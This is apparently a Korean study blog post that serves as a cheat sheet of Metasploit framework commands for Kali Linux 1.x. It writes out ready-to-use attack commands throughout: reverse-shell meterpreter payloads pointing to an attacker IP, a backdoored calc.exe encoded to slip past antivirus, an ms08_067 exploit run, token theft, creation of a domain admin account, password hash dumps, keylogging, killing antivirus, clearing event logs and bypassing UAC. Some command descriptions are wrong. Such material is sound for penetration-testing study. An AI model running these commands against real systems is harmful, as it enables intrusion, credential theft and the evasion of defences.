(정리)
MSF(Metasploit Framework) -> 모의해킹
SEtoolkit -> SET(Social Engineering Tech)
Fake site 제작, SE Attack 등.. MSF로 할수 없는 것들 보유.
Beef-xss -> 브라우저 관련 해킹
연속해서 사용
DNS/ARP Spoofing(전초작업) +
msfconsole, armitage +
SE attack - setoolkit +
xss ataack, Broswer hackking -> BeFF
(주의) 다음 문서는 칼리리눅스 1.0/1.1 버전을 기준으로 만들어 졌습니다.리스트 선택
따라서, 칼리리눅스 2.0 버전에서는 변형되었거나 혹은 사라진 명령어도 존재합니다.
MSF 관련 명령어 정리
■ msfconsole 명령어
# msfconsole
msf> CMD
명령어 |
설명 |
show exploits |
프레임워크 내의 모든 익스플로잇을 출력한다.(msf> show -h) |
show payloads |
프레임워크 내의 모든 페이로드를 출력한다. |
show auxiliary |
프레임워크 내의 모든 보조 모듈을 출력한다. |
search name |
프레임워크 내의 익스플로잇이나 모듈을 검색한다. |
info |
특정 익스플로잇이나 모듈의 정보를 출력한다. |
use name |
익스플로잇이나 모듈을 로드한다.(EX: use windows/smb/psexec) |
LHOST |
공격 대상과 연결할 메타스플로잇을 사용하는 공격자(로컬) 호스트의 IP주소로 로컬 네트워크가 아닐 경우 공인 IP 주소를 사용한다. 일반적으로 리버스 쉘에서 사용한다. |
RHOST or RHOSTS |
원격 호스트나 공격 대상을 의미한다. |
set function |
특정 변수를 설정한다.(EX: LHOST, RHOST) |
setg function |
특정 변수를 전역으로 설정한다.(EX: LHOST, RHOST) |
show options |
모듈이나 익스플로잇에서 설정 가능한 옵션을 출력한다. |
show targets |
익스플로잇이 지원하는 플랫폼을 출력한다. |
set target num |
운영체제와 서비스팩 정보를 알고 있을 경우 목록에서 특정 대상을 지정한다. |
set payload |
사용할 payload를 선택한다. |
show advanced |
더 많은 옵션을 출력한다. |
set autorunscript migratge -f |
익스플로잇을 완료한 후 별도 프로세스로 자동으로 이주하게 설정한다. |
check |
대상이 해당 공격에 취약한지 확인한다. |
exploit |
익스플로잇 공격 모듈을 실행한다. |
exploit -j |
익스플로잇을 잡으로 동작시킨다.(이 명령은 익스플로잇을 백그라운드에서 실행한다.) |
exploit -z |
익스플로잇을 성공한 후에 세션을 연결하지 않는다. |
exploit -e encoder |
특정 페이로드 인코더를 사용한다.(EX: exploit -e shikata_ga_nai) |
exploit -h |
익스플로잇 명령에 대한 도움말을 출력한다. |
sessions -l |
연결된 세션 목록을 출력한다.(여러 쉘을 핸들링할 때 사용한다.) |
sessions -l -v |
모든 연결된 세션과 시스템을 익스플로잇할 때 사용한 취약점 같은 세부적인 내용을 출력한다. |
sessions -s script |
미터프리터의 모든 활성화된 세션에서 특정 미터프리터 스크립트를 실행한다. |
sessions -K |
모든 연결된 세션을 종료한다. |
sessions -c cmd |
모든 연결된 세션에서 명령을 실행한다. |
sessions -u sessionID |
일반 Win32 셀을 미터프리터 콘솔로 업그레이드한다. |
db_create name |
데이터베이스를 공격에 사용하기 위해 데이터베이스를 생성한다.(EX: db_create autopwn) |
db_connect name |
데이터베이스를 이용한 공격을 위해 데이터베이스에 연결한다.(EX: db_connect autopwn) |
db_nmap |
엔맵을 사용하고 결과를 데이터베이스에 저장한다.(-sT -v -P0 처럼 일반적인 앤맵 문법을 사용할 수 있다.) |
db_autopwn -h |
db_autopwn 명령에 대한 도움말을 출력한다. |
db_autopwn -p -r -e |
모든 열린 포트를 대상으로 리버스 쉘을 사용하며, 모든 시스템에 익스플로잇을 수행하는 db_autopwn을 실행한다. |
db_destory |
사용 중인 데이터베이스를 삭제한다. |
db_destroy user:password@host:port/database |
추가 옵션을 사용해 데이터베이스를 삭제한다. |
■ 미터프리터(meterpreter) 관련 명령어
# msfconsole
meterpreter> CMD
명령어 |
설명 |
help |
미터프리터 사용 도움말을 출력한다. |
run scriptname |
scripts/meterpreter 디렉토리 목록을 검색해 scriptname에 입력한 미터프리터 기반의 스크립트를 실행한다. |
sysinfo |
점령한 대상 시스템의 정보를 출력한다. |
ls |
대상 시스템의 폴더와 파일 목록을 출력한다. |
use priv |
확장된 미터프리터 라이브러리를 사용하기 위해 권한을 확장한다. |
ps |
모든 프로세스와 각 프로세스와 관련된 사용자 계정을 출력한다. |
migrate PID |
특정 프로세스 ID로 미터프리터를 이주한다. |
use incognito |
incognito 기능을 불러온다.(대상 시스템의 토큰을 훔치고 자격 변경(impersonation)을 위해 사용한다.) |
list_tokens -u |
대상 시스템의 특정 사용자가 사용 가능한 토큰을 출력한다. |
list_tokens -g |
대상 시스템 그룹에서 사용 가능한 토큰을 출력한다. |
impersonate_token DOMAIN_NAME\\USERNAME |
대상 시스템에서 사용 가능한 토큰으로 자격을 변경한다. |
steal_token PID |
주어진 프로세스에서 사용 가능한 토큰을 훔치고 해당 토큰을 이용해 자격을 변경한다. |
drop_token |
현재 토큰을 이용한 자격 변경을 중단한다. |
getsystem |
다중 공격 벡터를 이용해 시스템 레벨 접근으로 권한을 상승시킨다. |
shell |
사용 가능한 모든 토큰을 이용해 통신 가능한 쉘을 제공한다. |
execute -f cmd.exe -i |
cmd.exe를 실행하고 통신한다. |
execute -f cmd.exe -i -t |
모든 사용 가능한 토큰으로 cmd.exe를 실행한다. |
execute -f cmd.exe -i -H -t |
모든 사용 가능한 토큰으로 cmd.exe를 실행하고 해당 프로세스를 숨긴다. |
rev2self |
대상 시스템을 점령해 획득한 원래 사용자 권한으로 돌아간다. |
reg command |
대상 시스템의 레지스트리의 정보를 가져오거나 생성, 삭제, 쿼리, 설정 등 다양한 명령을 수행한다. |
setdesktop number |
로그인된 다른 사용자의 화면으로 전환한다. |
screenshot |
대상 시스템에 파일을 업로드한다. |
download file |
대상 시스템에 있는 파일을 다운로드 한다. |
keyscan_start |
대상 시스템의 키보드 입력 기록을 시작한다. |
keyscan_dump |
대상 시스템에서 수집한 키 입력 정보를 덤프한다. |
keyscan_stop |
원격 시스템의 키보드 입력 기록을 중단한다. |
getprivs |
대상 시스템에서 가능한 한 많은 권한을 얻는다. |
uictl enable keyboard/mouse |
키보드와 마우스의 제어를 얻는다. |
background |
현재 구동 중인 미터프리터 쉘을 백그라운드로 전환한다. |
hashdump |
대상 시스템의 모든 해시 값을 덤프한다. |
use sniffer |
스니퍼 모듈을 로드한다. |
sniffer_interfaces |
대상 시스템에서 사용 가능한 네트워크 인터페이스를 출력한다. |
sniffer_dump interfaceID packet-buffer |
패킷 버퍼 크기를 정하고 스니핑을 시작한다. |
sniffer_stas interfaceID |
스니퍼를 중단한다. |
add_user username password -h ip |
원격 대상 시스템에 사용자를 추가한다. |
add_group_user "Domain Admins" username -h ip |
원격 대상 시스템에 도메인 관리자 그룹에 사용자를 추가한다. |
clearev |
대상 시스템의 이벤트 로그를 제거한다. |
timestomp |
파일의 생성시간과 같은 속성 정보를 변경한다.(아티 포렌식 기술) |
reboot |
대상 시스템을 재부팅한다. |
■ msfpayload 관련 명령어
# msfpayload CMD
명령어 |
설명 |
msfpayload -h |
존재하는 페이로드를 출력한다. |
msfpayload windows/meterpreter/bind_tcp O |
windows/meterpreter/bind_tcp 페이로드에 적용 가능한 옵션을 출력한다.(이 명령은 모든 페이로드에 적용 가능하다.) |
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe |
192.168.1.5에 443 포트로 연결시킬 reverse_tcp 미터프리터 레이로드를 생성하고, 이를 payload.exe라는 윈도우 실행 파일로 저장한다. |
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.rev |
위와 동일하며, 단지 원시 데이터 포맷(Raw Data Format)으로 저장한다. 이렇게 생성한 파일은 추후 MSFencode에서 사용할 수 있다. |
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c |
위와 동일하며 C 포맷의 쉘코드로 저장한다. |
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java |
%u 인코딩된 자바스크립트로 저장한다. |
■ msfencode 관련 명령어
# msfencode CMD
명령어 |
설명 |
msfencode -h |
도움말을 출력한다. |
msfencode -l |
가능한 인코더 목록을 출력한다. |
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho) |
인코딩할 버퍼의 포맷을 출력한다. |
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe |
payload.raw를 shikata_ga_nai로 5회 인코딩하고 파일명 encoded_payload.exe로 저장한다. |
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-enocded_payload.exe |
다중 인코딩된 페이로드를 생성한다. |
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c |
ESI 레지스터가 쉘코드를 가리키는 문자 숫자 조합형 쉘코드를 생성한다. 그리고 이 결과를 c로 출력한다. |
■ msfcli 관련 명령어
# msfcli CMD
명령어 |
설명 |
msfcli | grep exploit |
익스플로잇만 출력한다. |
msfcli | grep exploit/windows |
윈도우 익스플로잇만 출력한다. |
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E |
172.16.32.142 IP를 가진 시스템의 열린 443 포트에 bind_tcp 페이로드를 적제한 ms08_067_netapi 익스플로잇으로 공격한다. |
■ 기타(msf, ninja, fu)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5의 443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다.
프로그램의 실행 흐름을 정상적으로 유지하모, 임무를 수행한다. 페이로드를 shikata_ga_nai로 인코딩해 최종 결과물을 payload.exe로 저장한다.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5의 443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다.
실행 할 때 애플리케이션이 정상적으로 실행 흐름을 따르지 않으며, 사용자에게 어떠한 창도 띄우지 않는다. 브라우저 익스플로잇을
통해 원격 접근할 때 사용자에게 계산기 프로그램을 숨기기 위해 사용할 수 있따. 이 명령도 shikata_ga_nai로 인코딩한 페이로드를
payload.exe 파일로 저장한다.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
&& msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 Ebind_tcp 미터프리터 페이로드를 원시 데이터 포맷으로 생성하고
shikata_ga_nai로 7회 인코딩한다. 인코딩 된 페이로드를 payload.exe라는 윈도우 실행 파일 포맷으로 저장하고 해당 페이로드를 받아 실행하는
다중 핸들러를 설정한다.
■ msfvenom
msfvenom은 모든 기능을 하나로 만든 것으로 페이로드을 생성하고 인코딩한다.
# msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe
-> 위의 명령어 한줄로 페이로드를 생성하고 이를 자동으로 실행 파일 형태로 생성한다.
■ 미터프리터(meterpreter) 포스트 익스플로잇(post exploit) 명령
미터프리터를 사용하여 윈도우 기반 시스템의 권한을 상승한다.meterpreter> use privmeterpreter> getsystem
주어진 프로세스 ID에서 도메인 관리자 토큰을 훔쳐 도메인 계정을 추가하고 해당 계정을 도메인 관리 그룹으로 지정한다.
meterpreter> psmeterpreter> steal_token 1784meterpreter> shellc:\windows\system32> net user metasploit p@55w0rd
/ADD /DOMAINc:\windows\system32> net group "Domain Admin" metasploit /ADD /DOMAIN
SAM 데이터베이스에서 패스워드 해시를 덤프한다.
(주의)만약 windows 2008 서버에서 getsystem, hashdump 명령어 예외가
발생한다면 system 계정에서 동작하는 프로세스로 이주할 필요가 있다.
meterpreter> use privmeterpreter> getsystemmeterpreter> hashdump
다른 프로세스로 자동 이주한다.meterpreter> run migrate
killav 미터프리터 스크립트 대상에서 동작하는 백신을 종료한다.meterpreter> run killav
이주한 프로세스 내에 대상 시스템 키보드 입력을 수집한다.
meterpreter> psmeterpreter> migrate 1436meterpreter> keyscan_startmeterpreter> keyscan_dumpmeterpreter> keyscan_stop
관리자로 가장하기 위해 익명을 사용한다.
meterpreter> use incognitometerpreter> list_tokens -umeterpreter> use privmeterpreter> getsystemmeterpreter>
list_tokens -umeterpreter> impersonate_token IHAZSECURITY\\Administrator
점령한 대상에 존재하는 보호 메커니즘을 파악하고, 명령과 관련된 도움말을 출력하며, 방화벽 같은 모든 발견된 대응책을 종료한다.
meterpreter> run getcountermeasuremeterpreter> run getcountermeasure -hmeterpreter> run getcountermeasure -d -k
점령한 시스템이 가상 머신인지 확인한다.meterpreter> run checkvm
현재 미터프리터 콘솔 세션에서 명령 창을 띄운다.meterpreter> shell
대상 머신에서 원격 GUI 프로그램(EX: VNC)을 실행한다.meterpreter> run vnc
현재 동작하는 미터프리터 콘솔을 백그라운드로 전환한다.meterpreter> background
윈도우의 사용자 접근 제어(UAC, User Access Control)를 우회한다.meterpreter> run post/windows/escalate/bypassuac
OS X 시스템의 해시를 추출한다.meterpreter> run post/osx/gather/hashdump
리눅스 시스템의 해시를 추출한다.meterpreter> run post/linux/gather/hashdump
'Learning > └◆Metasploit' 카테고리의 다른 글
Metasploitable V2 Linux 서버의 취약점(Ingreslock) (0) | 2017.01.10 |
---|---|
Metasploitable V2 Linux 서버의 취약점(RMI) (0) | 2017.01.10 |
Metasploitable V2 Linux 서버의 취약점(distccd,samba) (0) | 2017.01.10 |
Metasploitable V2 Linux 서버의 취약점(IRC) (0) | 2017.01.10 |